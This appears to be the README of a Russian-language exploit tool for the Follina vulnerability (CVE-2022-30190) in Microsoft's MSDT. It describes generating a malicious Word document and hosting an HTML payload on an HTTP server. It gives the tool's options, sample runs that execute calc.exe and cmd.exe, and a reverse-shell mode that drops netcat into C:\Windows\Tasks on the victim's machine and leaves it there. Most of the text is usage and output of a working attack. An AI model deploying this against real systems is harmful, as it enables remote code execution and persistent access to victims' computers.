
Реализация FOLLINA-CVE-2022-30190
Реализация FOLLINA-CVE-2022-30190
Этот репозиторий содержит инструмент эксплуатации для уязвимости FOLLINA-CVE-2022-30190
Этот инструмент разработан для целей тестирования безопасности и исследований. Клонируя / форкая этот инструмент, исходный разработчик снимает с себя любую ответственность за действия пользователей.
Создайте атаку "Follina" MS-MSDT с помощью вредоносного документа Microsoft Word и разместите пейлоад на HTTP-сервере.
usage: exploit.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND
command to run on the target (default: calc)
--output OUTPUT
output maldoc file (default: ./follina.doc)
--interface INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT
port to serve the HTTP server (default: 8000)
Запустить calc.exe:
$ python3 exploit.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./cve202230190.doc
[+] serving html payload on :8000
Запустить cmd.exe:
$ python3 exploit.py --command "cmd"
Получите reverse shell на порту 9001. Обратите внимание: этот метод загружает бинарный файл netcat на машину жертвы и помещает его в C:\Windows\Tasks.
Он не удаляет этот бинарный файл. Это вызовет срабатывание антивируса, если AV не отключён.
$ python3 exploit.py --reverse 9001